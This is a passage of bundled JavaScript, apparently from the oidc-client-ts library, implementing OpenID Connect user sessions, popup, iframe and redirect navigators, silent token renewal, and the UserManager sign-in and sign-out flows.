this._logger.error(err);\n });\n }\n async _init() {\n this._logger.create(\"_init\");\n const user = await this._userManager.getUser();\n if (user) {\n void this._start(user);\n } else if (this._userManager.settings.monitorAnonymousSession) {\n const session = await this._userManager.querySessionStatus();\n if (session) {\n const tmpUser = {\n session_state: session.session_state,\n profile: session.sub ? {\n sub: session.sub\n } : null\n };\n void this._start(tmpUser);\n }\n }\n }\n};\n\n// src/User.ts\nvar User = class _User {\n constructor(args) {\n var _a;\n this.id_token = args.id_token;\n this.session_state = (_a = args.session_state) != null ? _a : null;\n this.access_token = args.access_token;\n this.refresh_token = args.refresh_token;\n this.token_type = args.token_type;\n this.scope = args.scope;\n this.profile = args.profile;\n this.expires_at = args.expires_at;\n this.state = args.userState;\n this.url_state = args.url_state;\n }\n /** Computed number of seconds the access token has remaining. */\n get expires_in() {\n if (this.expires_at === void 0) {\n return void 0;\n }\n return this.expires_at - Timer.getEpochTime();\n }\n set expires_in(value) {\n if (value !== void 0) {\n this.expires_at = Math.floor(value) + Timer.getEpochTime();\n }\n }\n /** Computed value indicating if the access token is expired. */\n get expired() {\n const expires_in = this.expires_in;\n if (expires_in === void 0) {\n return void 0;\n }\n return expires_in <= 0;\n }\n /** Array representing the parsed values from the `scope`. */\n get scopes() {\n var _a, _b;\n return (_b = (_a = this.scope) == null ? void 0 : _a.split(\" \")) != null ? _b : [];\n }\n toStorageString() {\n new Logger(\"User\").create(\"toStorageString\");\n return JSON.stringify({\n id_token: this.id_token,\n session_state: this.session_state,\n access_token: this.access_token,\n refresh_token: this.refresh_token,\n token_type: this.token_type,\n scope: this.scope,\n profile: this.profile,\n expires_at: this.expires_at\n });\n }\n static fromStorageString(storageString) {\n Logger.createStatic(\"User\", \"fromStorageString\");\n return new _User(JSON.parse(storageString));\n }\n};\n\n// src/navigators/AbstractChildWindow.ts\nvar messageSource = \"oidc-client\";\nvar AbstractChildWindow = class {\n constructor() {\n this._abort = new Event(\"Window navigation aborted\");\n this._disposeHandlers = /* @__PURE__ */ new Set();\n this._window = null;\n }\n async navigate(params) {\n const logger2 = this._logger.create(\"navigate\");\n if (!this._window) {\n throw new Error(\"Attempted to navigate on a disposed window\");\n }\n logger2.debug(\"setting URL in window\");\n this._window.location.replace(params.url);\n const { url, keepOpen } = await new Promise((resolve, reject) => {\n const listener = (e) => {\n var _a;\n const data = e.data;\n const origin = (_a = params.scriptOrigin) != null ? _a : window.location.origin;\n if (e.origin !== origin || (data == null ? void 0 : data.source) !== messageSource) {\n return;\n }\n try {\n const state = UrlUtils.readParams(data.url, params.response_mode).get(\"state\");\n if (!state) {\n logger2.warn(\"no state found in response url\");\n }\n if (e.source !== this._window && state !== params.state) {\n return;\n }\n } catch {\n this._dispose();\n reject(new Error(\"Invalid response from window\"));\n }\n resolve(data);\n };\n window.addEventListener(\"message\", listener, false);\n this._disposeHandlers.add(() => window.removeEventListener(\"message\", listener, false));\n const channel = new BroadcastChannel(`oidc-client-popup-${params.state}`);\n channel.addEventListener(\"message\", listener, false);\n this._disposeHandlers.add(() => channel.close());\n this._disposeHandlers.add(this._abort.addHandler((reason) => {\n this._dispose();\n reject(reason);\n }));\n });\n logger2.debug(\"got response from window\");\n this._dispose();\n if (!keepOpen) {\n this.close();\n }\n return { url };\n }\n _dispose() {\n this._logger.create(\"_dispose\");\n for (const dispose of this._disposeHandlers) {\n dispose();\n }\n this._disposeHandlers.clear();\n }\n static _notifyParent(parent, url, keepOpen = false, targetOrigin = window.location.origin) {\n const msgData = {\n source: messageSource,\n url,\n keepOpen\n };\n const logger2 = new Logger(\"_notifyParent\");\n if (parent) {\n logger2.debug(\"With parent. Using parent.postMessage.\");\n parent.postMessage(msgData, targetOrigin);\n } else {\n logger2.debug(\"No parent. Using BroadcastChannel.\");\n const state = new URL(url).searchParams.get(\"state\");\n if (!state) {\n throw new Error(\"No parent and no state in URL. Can't complete notification.\");\n }\n const channel = new BroadcastChannel(`oidc-client-popup-${state}`);\n channel.postMessage(msgData);\n channel.close();\n }\n }\n};\n\n// src/UserManagerSettings.ts\nvar DefaultPopupWindowFeatures = {\n location: false,\n toolbar: false,\n height: 640,\n closePopupWindowAfterInSeconds: -1\n};\nvar DefaultPopupTarget = \"_blank\";\nvar DefaultAccessTokenExpiringNotificationTimeInSeconds = 60;\nvar DefaultCheckSessionIntervalInSeconds = 2;\nvar DefaultSilentRequestTimeoutInSeconds = 10;\nvar UserManagerSettingsStore = class extends OidcClientSettingsStore {\n constructor(args) {\n const {\n popup_redirect_uri = args.redirect_uri,\n popup_post_logout_redirect_uri = args.post_logout_redirect_uri,\n popupWindowFeatures = DefaultPopupWindowFeatures,\n popupWindowTarget = DefaultPopupTarget,\n redirectMethod = \"assign\",\n redirectTarget = \"self\",\n iframeNotifyParentOrigin = args.iframeNotifyParentOrigin,\n iframeScriptOrigin = args.iframeScriptOrigin,\n requestTimeoutInSeconds,\n silent_redirect_uri = args.redirect_uri,\n silentRequestTimeoutInSeconds,\n automaticSilentRenew = true,\n validateSubOnSilentRenew = true,\n includeIdTokenInSilentRenew = false,\n monitorSession = false,\n monitorAnonymousSession = false,\n checkSessionIntervalInSeconds = DefaultCheckSessionIntervalInSeconds,\n query_status_response_type = \"code\",\n stopCheckSessionOnError = true,\n revokeTokenTypes = [\"access_token\", \"refresh_token\"],\n revokeTokensOnSignout = false,\n includeIdTokenInSilentSignout = false,\n accessTokenExpiringNotificationTimeInSeconds = DefaultAccessTokenExpiringNotificationTimeInSeconds,\n userStore\n } = args;\n super(args);\n this.popup_redirect_uri = popup_redirect_uri;\n this.popup_post_logout_redirect_uri = popup_post_logout_redirect_uri;\n this.popupWindowFeatures = popupWindowFeatures;\n this.popupWindowTarget = popupWindowTarget;\n this.redirectMethod = redirectMethod;\n this.redirectTarget = redirectTarget;\n this.iframeNotifyParentOrigin = iframeNotifyParentOrigin;\n this.iframeScriptOrigin = iframeScriptOrigin;\n this.silent_redirect_uri = silent_redirect_uri;\n this.silentRequestTimeoutInSeconds = silentRequestTimeoutInSeconds || requestTimeoutInSeconds || DefaultSilentRequestTimeoutInSeconds;\n this.automaticSilentRenew = automaticSilentRenew;\n this.validateSubOnSilentRenew = validateSubOnSilentRenew;\n this.includeIdTokenInSilentRenew = includeIdTokenInSilentRenew;\n this.monitorSession = monitorSession;\n this.monitorAnonymousSession = monitorAnonymousSession;\n this.checkSessionIntervalInSeconds = checkSessionIntervalInSeconds;\n this.stopCheckSessionOnError = stopCheckSessionOnError;\n this.query_status_response_type = query_status_response_type;\n this.revokeTokenTypes = revokeTokenTypes;\n this.revokeTokensOnSignout = revokeTokensOnSignout;\n this.includeIdTokenInSilentSignout = includeIdTokenInSilentSignout;\n this.accessTokenExpiringNotificationTimeInSeconds = accessTokenExpiringNotificationTimeInSeconds;\n if (userStore) {\n this.userStore = userStore;\n } else {\n const store = typeof window !== \"undefined\" ? window.sessionStorage : new InMemoryWebStorage();\n this.userStore = new WebStorageStateStore({ store });\n }\n }\n};\n\n// src/navigators/IFrameWindow.ts\nvar IFrameWindow = class _IFrameWindow extends AbstractChildWindow {\n constructor({\n silentRequestTimeoutInSeconds = DefaultSilentRequestTimeoutInSeconds\n }) {\n super();\n this._logger = new Logger(\"IFrameWindow\");\n this._timeoutInSeconds = silentRequestTimeoutInSeconds;\n this._frame = _IFrameWindow.createHiddenIframe();\n this._window = this._frame.contentWindow;\n }\n static createHiddenIframe() {\n const iframe = window.document.createElement(\"iframe\");\n iframe.style.visibility = \"hidden\";\n iframe.style.position = \"fixed\";\n iframe.style.left = \"-1000px\";\n iframe.style.top = \"0\";\n iframe.width = \"0\";\n iframe.height = \"0\";\n window.document.body.appendChild(iframe);\n return iframe;\n }\n async navigate(params) {\n this._logger.debug(\"navigate: Using timeout of:\", this._timeoutInSeconds);\n const timer = setTimeout(() => void this._abort.raise(new ErrorTimeout(\"IFrame timed out without a response\")), this._timeoutInSeconds * 1e3);\n this._disposeHandlers.add(() => clearTimeout(timer));\n return await super.navigate(params);\n }\n close() {\n var _a;\n if (this._frame) {\n if (this._frame.parentNode) {\n this._frame.addEventListener(\"load\", (ev) => {\n var _a2;\n const frame = ev.target;\n (_a2 = frame.parentNode) == null ? void 0 : _a2.removeChild(frame);\n void this._abort.raise(new Error(\"IFrame removed from DOM\"));\n }, true);\n (_a = this._frame.contentWindow) == null ? void 0 : _a.location.replace(\"about:blank\");\n }\n this._frame = null;\n }\n this._window = null;\n }\n static notifyParent(url, targetOrigin) {\n return super._notifyParent(window.parent, url, false, targetOrigin);\n }\n};\n\n// src/navigators/IFrameNavigator.ts\nvar IFrameNavigator = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"IFrameNavigator\");\n }\n async prepare({\n silentRequestTimeoutInSeconds = this._settings.silentRequestTimeoutInSeconds\n }) {\n return new IFrameWindow({ silentRequestTimeoutInSeconds });\n }\n async callback(url) {\n this._logger.create(\"callback\");\n IFrameWindow.notifyParent(url, this._settings.iframeNotifyParentOrigin);\n }\n};\n\n// src/navigators/PopupWindow.ts\nvar checkForPopupClosedInterval = 500;\nvar second = 1e3;\nvar PopupWindow = class extends AbstractChildWindow {\n constructor({\n popupWindowTarget = DefaultPopupTarget,\n popupWindowFeatures = {},\n popupSignal\n }) {\n super();\n this._logger = new Logger(\"PopupWindow\");\n const centeredPopup = PopupUtils.center({ ...DefaultPopupWindowFeatures, ...popupWindowFeatures });\n this._window = window.open(void 0, popupWindowTarget, PopupUtils.serialize(centeredPopup));\n if (popupSignal) {\n popupSignal.addEventListener(\"abort\", () => {\n var _a;\n void this._abort.raise(new Error((_a = popupSignal.reason) != null ? _a : \"Popup aborted\"));\n });\n }\n if (popupWindowFeatures.closePopupWindowAfterInSeconds && popupWindowFeatures.closePopupWindowAfterInSeconds > 0) {\n setTimeout(() => {\n if (!this._window || typeof this._window.closed !== \"boolean\" || this._window.closed) {\n void this._abort.raise(new Error(\"Popup blocked by user\"));\n return;\n }\n this.close();\n }, popupWindowFeatures.closePopupWindowAfterInSeconds * second);\n }\n }\n async navigate(params) {\n var _a;\n (_a = this._window) == null ? void 0 : _a.focus();\n const popupClosedInterval = setInterval(() => {\n if (!this._window || this._window.closed) {\n this._logger.debug(\"Popup closed by user or isolated by redirect\");\n clearPopupClosedInterval();\n this._disposeHandlers.delete(clearPopupClosedInterval);\n }\n }, checkForPopupClosedInterval);\n const clearPopupClosedInterval = () => clearInterval(popupClosedInterval);\n this._disposeHandlers.add(clearPopupClosedInterval);\n return await super.navigate(params);\n }\n close() {\n if (this._window) {\n if (!this._window.closed) {\n this._window.close();\n void this._abort.raise(new Error(\"Popup closed\"));\n }\n }\n this._window = null;\n }\n static notifyOpener(url, keepOpen) {\n super._notifyParent(window.opener, url, keepOpen);\n if (!keepOpen && !window.opener) {\n window.close();\n }\n }\n};\n\n// src/navigators/PopupNavigator.ts\nvar PopupNavigator = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"PopupNavigator\");\n }\n async prepare({\n popupWindowFeatures = this._settings.popupWindowFeatures,\n popupWindowTarget = this._settings.popupWindowTarget,\n popupSignal\n }) {\n return new PopupWindow({ popupWindowFeatures, popupWindowTarget, popupSignal });\n }\n async callback(url, { keepOpen = false }) {\n this._logger.create(\"callback\");\n PopupWindow.notifyOpener(url, keepOpen);\n }\n};\n\n// src/navigators/RedirectNavigator.ts\nvar RedirectNavigator = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"RedirectNavigator\");\n }\n async prepare({\n redirectMethod = this._settings.redirectMethod,\n redirectTarget = this._settings.redirectTarget\n }) {\n var _a;\n this._logger.create(\"prepare\");\n let targetWindow = window.self;\n if (redirectTarget === \"top\") {\n targetWindow = (_a = window.top) != null ? _a : window.self;\n }\n const redirect = targetWindow.location[redirectMethod].bind(targetWindow.location);\n let abort;\n return {\n navigate: async (params) => {\n this._logger.create(\"navigate\");\n const promise = new Promise((resolve, reject) => {\n abort = reject;\n });\n redirect(params.url);\n return await promise;\n },\n close: () => {\n this._logger.create(\"close\");\n abort == null ? void 0 : abort(new Error(\"Redirect aborted\"));\n targetWindow.stop();\n }\n };\n }\n async callback() {\n return;\n }\n};\n\n// src/UserManagerEvents.ts\nvar UserManagerEvents = class extends AccessTokenEvents {\n constructor(settings) {\n super({ expiringNotificationTimeInSeconds: settings.accessTokenExpiringNotificationTimeInSeconds });\n this._logger = new Logger(\"UserManagerEvents\");\n this._userLoaded = new Event(\"User loaded\");\n this._userUnloaded = new Event(\"User unloaded\");\n this._silentRenewError = new Event(\"Silent renew error\");\n this._userSignedIn = new Event(\"User signed in\");\n this._userSignedOut = new Event(\"User signed out\");\n this._userSessionChanged = new Event(\"User session changed\");\n }\n async load(user, raiseEvent = true) {\n await super.load(user);\n if (raiseEvent) {\n await this._userLoaded.raise(user);\n }\n }\n async unload() {\n await super.unload();\n await this._userUnloaded.raise();\n }\n /**\n * Add callback: Raised when a user session has been established (or re-established).\n */\n addUserLoaded(cb) {\n return this._userLoaded.addHandler(cb);\n }\n /**\n * Remove callback: Raised when a user session has been established (or re-established).\n */\n removeUserLoaded(cb) {\n return this._userLoaded.removeHandler(cb);\n }\n /**\n * Add callback: Raised when a user session has been terminated.\n */\n addUserUnloaded(cb) {\n return this._userUnloaded.addHandler(cb);\n }\n /**\n * Remove callback: Raised when a user session has been terminated.\n */\n removeUserUnloaded(cb) {\n return this._userUnloaded.removeHandler(cb);\n }\n /**\n * Add callback: Raised when the automatic silent renew has failed.\n */\n addSilentRenewError(cb) {\n return this._silentRenewError.addHandler(cb);\n }\n /**\n * Remove callback: Raised when the automatic silent renew has failed.\n */\n removeSilentRenewError(cb) {\n return this._silentRenewError.removeHandler(cb);\n }\n /**\n * @internal\n */\n async _raiseSilentRenewError(e) {\n await this._silentRenewError.raise(e);\n }\n /**\n * Add callback: Raised when the user is signed in (when `monitorSession` is set).\n * @see {@link UserManagerSettings.monitorSession}\n */\n addUserSignedIn(cb) {\n return this._userSignedIn.addHandler(cb);\n }\n /**\n * Remove callback: Raised when the user is signed in (when `monitorSession` is set).\n */\n removeUserSignedIn(cb) {\n this._userSignedIn.removeHandler(cb);\n }\n /**\n * @internal\n */\n async _raiseUserSignedIn() {\n await this._userSignedIn.raise();\n }\n /**\n * Add callback: Raised when the user's sign-in status at the OP has changed (when `monitorSession` is set).\n * @see {@link UserManagerSettings.monitorSession}\n */\n addUserSignedOut(cb) {\n return this._userSignedOut.addHandler(cb);\n }\n /**\n * Remove callback: Raised when the user's sign-in status at the OP has changed (when `monitorSession` is set).\n */\n removeUserSignedOut(cb) {\n this._userSignedOut.removeHandler(cb);\n }\n /**\n * @internal\n */\n async _raiseUserSignedOut() {\n await this._userSignedOut.raise();\n }\n /**\n * Add callback: Raised when the user session changed (when `monitorSession` is set).\n * @see {@link UserManagerSettings.monitorSession}\n */\n addUserSessionChanged(cb) {\n return this._userSessionChanged.addHandler(cb);\n }\n /**\n * Remove callback: Raised when the user session changed (when `monitorSession` is set).\n */\n removeUserSessionChanged(cb) {\n this._userSessionChanged.removeHandler(cb);\n }\n /**\n * @internal\n */\n async _raiseUserSessionChanged() {\n await this._userSessionChanged.raise();\n }\n};\n\n// src/SilentRenewService.ts\nvar SilentRenewService = class {\n constructor(_userManager) {\n this._userManager = _userManager;\n this._logger = new Logger(\"SilentRenewService\");\n this._isStarted = false;\n this._retryTimer = new Timer(\"Retry Silent Renew\");\n this._tokenExpiring = async () => {\n const logger2 = this._logger.create(\"_tokenExpiring\");\n try {\n await this._userManager.signinSilent();\n logger2.debug(\"silent token renewal successful\");\n } catch (err) {\n if (err instanceof ErrorTimeout) {\n logger2.warn(\"ErrorTimeout from signinSilent:\", err, \"retry in 5s\");\n this._retryTimer.init(5);\n return;\n }\n logger2.error(\"Error from signinSilent:\", err);\n await this._userManager.events._raiseSilentRenewError(err);\n }\n };\n }\n async start() {\n const logger2 = this._logger.create(\"start\");\n if (!this._isStarted) {\n this._isStarted = true;\n this._userManager.events.addAccessTokenExpiring(this._tokenExpiring);\n this._retryTimer.addHandler(this._tokenExpiring);\n try {\n await this._userManager.getUser();\n } catch (err) {\n logger2.error(\"getUser error\", err);\n }\n }\n }\n stop() {\n if (this._isStarted) {\n this._retryTimer.cancel();\n this._retryTimer.removeHandler(this._tokenExpiring);\n this._userManager.events.removeAccessTokenExpiring(this._tokenExpiring);\n this._isStarted = false;\n }\n }\n};\n\n// src/RefreshState.ts\nvar RefreshState = class {\n constructor(args) {\n this.refresh_token = args.refresh_token;\n this.id_token = args.id_token;\n this.session_state = args.session_state;\n this.scope = args.scope;\n this.profile = args.profile;\n this.data = args.state;\n }\n};\n\n// src/UserManager.ts\nvar UserManager = class {\n constructor(settings, redirectNavigator, popupNavigator, iframeNavigator) {\n this._logger = new Logger(\"UserManager\");\n this.settings = new UserManagerSettingsStore(settings);\n this._client = new OidcClient(settings);\n this._redirectNavigator = redirectNavigator != null ? redirectNavigator : new RedirectNavigator(this.settings);\n this._popupNavigator = popupNavigator != null ? popupNavigator : new PopupNavigator(this.settings);\n this._iframeNavigator = iframeNavigator != null ? iframeNavigator : new IFrameNavigator(this.settings);\n this._events = new UserManagerEvents(this.settings);\n this._silentRenewService = new SilentRenewService(this);\n if (this.settings.automaticSilentRenew) {\n this.startSilentRenew();\n }\n this._sessionMonitor = null;\n if (this.settings.monitorSession) {\n this._sessionMonitor = new SessionMonitor(this);\n }\n }\n /**\n * Get object used to register for events raised by the `UserManager`.\n */\n get events() {\n return this._events;\n }\n /**\n * Get object used to access the metadata configuration of the identity provider.\n */\n get metadataService() {\n return this._client.metadataService;\n }\n /**\n * Load the `User` object for the currently authenticated user.\n *\n * @param raiseEvent - If `true`, the `UserLoaded` event will be raised. Defaults to false.\n * @returns A promise\n */\n async getUser(raiseEvent = false) {\n const logger2 = this._logger.create(\"getUser\");\n const user = await this._loadUser();\n if (user) {\n logger2.info(\"user loaded\");\n await this._events.load(user, raiseEvent);\n return user;\n }\n logger2.info(\"user not found in storage\");\n return null;\n }\n /**\n * Remove from any storage the currently authenticated user.\n *\n * @returns A promise\n */\n async removeUser() {\n const logger2 = this._logger.create(\"removeUser\");\n await this.storeUser(null);\n logger2.info(\"user removed from storage\");\n await this._events.unload();\n }\n /**\n * Trigger a redirect of the current window to the authorization endpoint.\n *\n * @returns A promise\n *\n * @throws `Error` In cases of wrong authentication.\n */\n async signinRedirect(args = {}) {\n var _a;\n this._logger.create(\"signinRedirect\");\n const {\n redirectMethod,\n ...requestArgs\n } = args;\n let dpopJkt;\n if ((_a = this.settings.dpop) == null ? void 0 : _a.bind_authorization_code) {\n dpopJkt = await this.generateDPoPJkt(this.settings.dpop);\n }\n const handle = await this._redirectNavigator.prepare({ redirectMethod });\n await this._signinStart({\n request_type: \"si:r\",\n dpopJkt,\n ...requestArgs\n }, handle);\n }\n /**\n * Process the response (callback) from the authorization endpoint.\n * It is recommended to use {@link UserManager.signinCallback} instead.\n *\n * @returns A promise containing the authenticated `User`.\n *\n * @see {@link UserManager.signinCallback}\n */\n async signinRedirectCallback(url = window.location.href) {\n const logger2 = this._logger.create(\"signinRedirectCallback\");\n const user = await this._signinEnd(url);\n if (user.profile && user.profile.sub) {\n logger2.info(\"success, signed in subject\", user.profile.sub);\n } else {\n logger2.info(\"no subject\");\n }\n return user;\n }\n /**\n * Trigger the signin with user/password.\n *\n * @returns A promise containing the authenticated `User`.\n * @throws {@link ErrorResponse} In cases of wrong authentication.\n */\n async signinResourceOwnerCredentials({\n username,\n password,\n skipUserInfo = false\n }) {\n const logger2 = this._logger.create(\"signinResourceOwnerCredential\");\n const signinResponse = await this._client.processResourceOwnerPasswordCredentials({\n username,\n password,\n skipUserInfo,\n extraTokenParams: this.settings.extraTokenParams\n });\n logger2.debug(\"got signin response\");\n const user = await this._buildUser(signinResponse);\n if (user.profile && user.profile.sub) {\n logger2.info(\"success, signed in subject\", user.profile.sub);\n } else {\n logger2.info(\"no subject\");\n }\n return user;\n }\n /**\n * Trigger a request (via a popup window) to the authorization endpoint.\n *\n * @returns A promise containing the authenticated `User`.\n * @throws `Error` In cases of wrong authentication.\n */\n async signinPopup(args = {}) {\n var _a;\n const logger2 = this._logger.create(\"signinPopup\");\n let dpopJkt;\n if ((_a = this.settings.dpop) == null ? void 0 : _a.bind_authorization_code) {\n dpopJkt = await this.generateDPoPJkt(this.settings.dpop);\n }\n const {\n popupWindowFeatures,\n popupWindowTarget,\n popupSignal,\n ...requestArgs\n } = args;\n const url = this.settings.popup_redirect_uri;\n if (!url) {\n logger2.throw(new Error(\"No popup_redirect_uri configured\"));\n }\n const handle = await this._popupNavigator.prepare({ popupWindowFeatures, popupWindowTarget, popupSignal });\n const user = await this._signin({\n request_type: \"si:p\",\n redirect_uri: url,\n display: \"popup\",\n dpopJkt,\n ...requestArgs\n }, handle);\n if (user) {\n if (user.profile && user.profile.sub) {\n logger2.info(\"success, signed in subject\", user.profile.sub);\n } else {\n logger2.info(\"no subject\");\n }\n }\n return user;\n }\n /**\n * Notify the opening window of response (callback) from the authorization endpoint.\n * It is recommended to use {@link UserManager.signinCallback} instead.\n *\n * @returns A promise\n *\n * @see {@link UserManager.signinCallback}\n */\n async signinPopupCallback(url = window.location.href, keepOpen = false) {\n const logger2 = this._logger.create(\"signinPopupCallback\");\n await this._popupNavigator.callback(url, { keepOpen });\n logger2.info(\"success\");\n }\n /**\n * Trigger a silent request (via refresh token or an iframe) to the authorization endpoint.\n *\n * @returns A promise that contains the authenticated `User`.\n */\n async signinSilent(args = {}) {\n var _a, _b;\n const logger2 = this._logger.create(\"signinSilent\");\n const {\n silentRequestTimeoutInSeconds,\n ...requestArgs\n } = args;\n let user = await this._loadUser();\n if (user == null ? void 0 : user.refresh_token) {\n logger2.debug(\"using refresh token\");\n const state = new RefreshState(user);\n return await this._useRefreshToken({\n state,\n redirect_uri: requestArgs.redirect_uri,\n resource: requestArgs.resource,\n extraTokenParams: requestArgs.extraTokenParams,\n timeoutInSeconds: silentRequestTimeoutInSeconds\n });\n }\n let dpopJkt;\n if ((_a = this.settings.dpop) == null ? void 0 : _a.bind_authorization_code) {\n dpopJkt = await this.generateDPoPJkt(this.settings.dpop);\n }\n const url = this.settings.silent_redirect_uri;\n if (!url) {\n logger2.throw(new Error(\"No silent_redirect_uri configured\"));\n }\n let verifySub;\n if (user && this.settings.validateSubOnSilentRenew) {\n logger2.debug(\"subject prior to silent renew:\", user.profile.sub);\n verifySub = user.profile.sub;\n }\n const handle = await this._iframeNavigator.prepare({ silentRequestTimeoutInSeconds });\n user = await this._signin({\n request_type: \"si:s\",\n redirect_uri: url,\n prompt: \"none\",\n id_token_hint: this.settings.includeIdTokenInSilentRenew ? user == null ? void 0 : user.id_token : void 0,\n dpopJkt,\n ...requestArgs\n }, handle, verifySub);\n if (user) {\n if ((_b = user.profile) == null ? void 0 : _b.sub) {\n logger2.info(\"success, signed in subject\", user.profile.sub);\n } else {\n logger2.info(\"no subject\");\n }\n }\n return user;\n }\n async _useRefreshToken(args) {\n const response = await this._client.useRefreshToken({\n timeoutInSeconds: this.settings.silentRequestTimeoutInSeconds,\n ...args\n });\n const user = new User({ ...args.state, ...response });\n await this.storeUser(user);\n await this._events.load(user);\n return user;\n }\n /**\n *\n * Notify the parent window of response (callback) from the authorization endpoint.\n * It is recommended to use {@link UserManager.signinCallback} instead.\n *\n * @returns A promise\n *\n * @see {@link UserManager.signinCallback}\n */\n async signinSilentCallback(url = window.location.href) {\n const logger2 = this._logger.create(\"signinSilentCallback\");\n await this._iframeNavigator.callback(url);\n logger2.info(\"success\");\n }\n /**\n * Process any response (callback) from the authorization endpoint, by dispatching the request_type\n * and executing one of the following functions:\n * - {@link UserManager.signinRedirectCallback}\n * - {@link UserManager.signinPopupCallback}\n * - {@link UserManager.signinSilentCallback}\n *\n * @throws `Error` If request_type is unknown or signin cannot be processed.\n */\n async signinCallback(url = window.location.href) {\n const { state } = await this._client.readSigninResponseState(url);\n switch (state.request_type) {\n case \"si:r\":\n return await this.signinRedirectCallback(url);\n case \"si:p\":\n await this.signinPopupCallback(url);\n break;\n case \"si:s\":\n await this.signinSilentCallback(url);\n break;\n default:\n throw new Error(\"invalid response_type in state\");\n }\n return void 0;\n }\n /**\n * Process any response (callback) from the end session endpoint, by dispatching the request_type\n * and executing one of the following functions:\n * - {@link UserManager.signoutRedirectCallback}\n * - {@link UserManager.signoutPopupCallback}\n * - {@link UserManager.signoutSilentCallback}\n *\n * @throws `Error` If request_type is unknown or signout cannot be processed.\n */\n async signoutCallback(url = window.location.href, keepOpen = false) {\n const { state } = await this._client.readSignoutResponseState(url);\n if (!state) {\n return void 0;\n }\n switch (state.request_type) {\n case \"so:r\":\n return await this.signoutRedirectCallback(url);\n case \"so:p\":\n await this.signoutPopupCallback(url, keepOpen);\n break;\n case \"so:s\":\n await this.signoutSilentCallback(url);\n break;\n default:\n throw new Error(\"invalid response_type in state\");\n }\n return void 0;\n }\n /**\n * Query OP for user's current signin status.\n *\n * @returns A promise object with session_state and subject identifier.\n */\n async querySessionStatus(args = {}) {\n const logger2 = this._logger.create(\"querySessionStatus\");\n const {\n silentRequestTimeoutInSeconds,\n ...requestArgs\n } = args;\n const url = this.settings.silent_redirect_uri;\n if (!url) {\n logger2.throw(new Error(\"No silent_redirect_uri configured\"));\n }\n const user = await this._loadUser();\n const handle = await this._iframeNavigator.prepare({ silentRequestTimeoutInSeconds });\n const navResponse = await this._signinStart({\n request_type: \"si:s\",\n // this acts like a signin silent\n redirect_uri: url,\n prompt: \"none\",\n id_token_hint: this.settings.includeIdTokenInSilentRenew ? user == null ? void 0 : user.id_token : void 0,\n response_type: this.settings.query_status_response_type,\n scope: \"openid\",\n skipUserInfo: true,\n ...requestArgs\n }, handle);\n try {\n const extraHeaders = {};\n const signinResponse = await this._client.processSigninResponse(navResponse.url, extraHeaders);\n logger2.debug(\"got signin response\");\n if (signinResponse.session_state && signinResponse.profile.sub) {\n logger2.info(\"success for subject\", signinResponse.profile.sub);\n return {\n session_state: signinResponse.session_state,\n sub: signinResponse.profile.sub\n };\n }\n logger2.info(\"success, user not authenticated\");\n return null;\n } catch (err) {\n if (this.settings.monitorAnonymousSession && err instanceof ErrorResponse) {\n switch (err.error) {\n case \"login_required\":\n case \"consent_required\":\n case \"interaction_required\":\n case \"account_selection_required\":\n logger2.info(\"success for anonymous user\");\n return {\n session_state: err.session_state\n };\n }\n }\n throw err;\n }\n }\n async _signin(args, handle, verifySub) {\n const navResponse = await this._signinStart(args, handle);\n return await this._signinEnd(navResponse.url, verifySub);\n }\n async _signinStart(args, handle) {\n const logger2 = this._logger.create(\"_signinStart\");\n try {\n const signinRequest = await this._client.createSigninRequest(args);\n logger2.debug(\"got signin request\");\n return await handle.navigate({\n url: signinRequest.url,\n state: signinRequest.state.id,\n response_mode: signinRequest.state.response_mode,\n scriptOrigin: this.settings.iframeScriptOrigin\n });\n } catch (err) {\n logger2.debug(\"error after preparing navigator, closing navigator window\");\n handle.close();\n throw err;\n }\n }\n async _signinEnd(url, verifySub) {\n const logger2 = this._logger.create(\"_signinEnd\");\n const extraHeaders = {};\n const signinResponse = await this._client.processSigninResponse(url, extraHeaders);\n logger2.debug(\"got signin response\");\n const user = await this._buildUser(signinResponse, verifySub);\n return user;\n }\n async _buildUser(signinResponse, verifySub) {\n const logger2 = this._logger.create(\"_buildUser\");\n const user = new User(signinResponse);\n if (verifySub) {\n if (verifySub !== user.profile.sub) {\n logger2.debug(\"current user does not match user returned from signin. sub from signin:\", user.profile.sub);\n throw new ErrorResponse({ ...signinResponse, error: \"login_required\" });\n }\n logger2.debug(\"current user matches user returned from signin\");\n }\n await this.storeUser(user);\n logger2.debug(\"user stored\");\n await this._events.load(user);\n return user;\n }\n /**\n * Trigger a redirect of the current window to the end session endpoint.\n *\n * @returns A promise\n */\n async signoutRedirect(args = {}) {\n const logger2 = this._logger.create(\"signoutRedirect\");\n const {\n redirectMethod,\n ...requestArgs\n } = args;\n const handle = await this._redirectNavigator.prepare({ redirectMethod });\n await this._signoutStart({\n request_type: \"so:r\",\n post_logout_redirect_uri: this.settings.post_logout_redirect_uri,\n ...requestArgs\n }, handle);\n logger2.info(\"success\");\n }\n /**\n * Process response (callback) from the end session endpoint.\n * It is recommended to use {@link UserManager.signoutCallback} instead.\n *\n * @returns A promise containing signout response\n *\n * @see {@link UserManager.signoutCallback}\n */\n async signoutRedirectCallback(url = window.location.href) {\n const logger2 = this._logger.create(\"signoutRedirectCallback\");\n const response = await this._signoutEnd(url);\n logger2.info(\"success\");\n return response;\n }\n /**\n * Trigger a redirect of a popup window to the end session endpoint.\n *\n * @returns A promise\n */\n async signoutPopup(args = {}) {\n const logger2 = this._logger.create(\"signoutPopup\");\n const {\n popupWindowFeatures,\n popupWindowTarget,\n popupSignal,\n ...requestArgs\n } = args;\n const url = this.settings.popup_post_logout_redirect_uri;\n const handle = await this._popupNavigator.prepare({ popupWindowFeatures, popupWindowTarget, popupSignal });\n await this._signout({\n request_type: \"so:p\",\n post_logout_redirect_uri: url,\n // we're putting a dummy entry in here because we\n // need a unique id from the state for notification\n // to the parent window, which is necessary if we\n // plan to return back to the client after signout\n // and so we can close the popup after signout\n state: url == null ? void 0 : {},\n ...requestArgs\n }, handle);\n logger2.info(\"success\");\n }\n /**\n * Process response (callback) from the end session endpoint from a popup window.\n * It is recommended to use {@link UserManager.signoutCallback} instead.\n *\n * @returns A promise\n *\n * @see {@link UserManager.signoutCallback}\n */\n async signoutPopupCallback(url = window.location.href, keepOpen = false) {\n const logger2 = this._logger.create(\"signoutPopupCallback\");\n await this._popupNavigator.callback(url, { keepOpen });\n logger2.info(\"success\");\n }\n async _signout(args, handle) {\n const navResponse = await 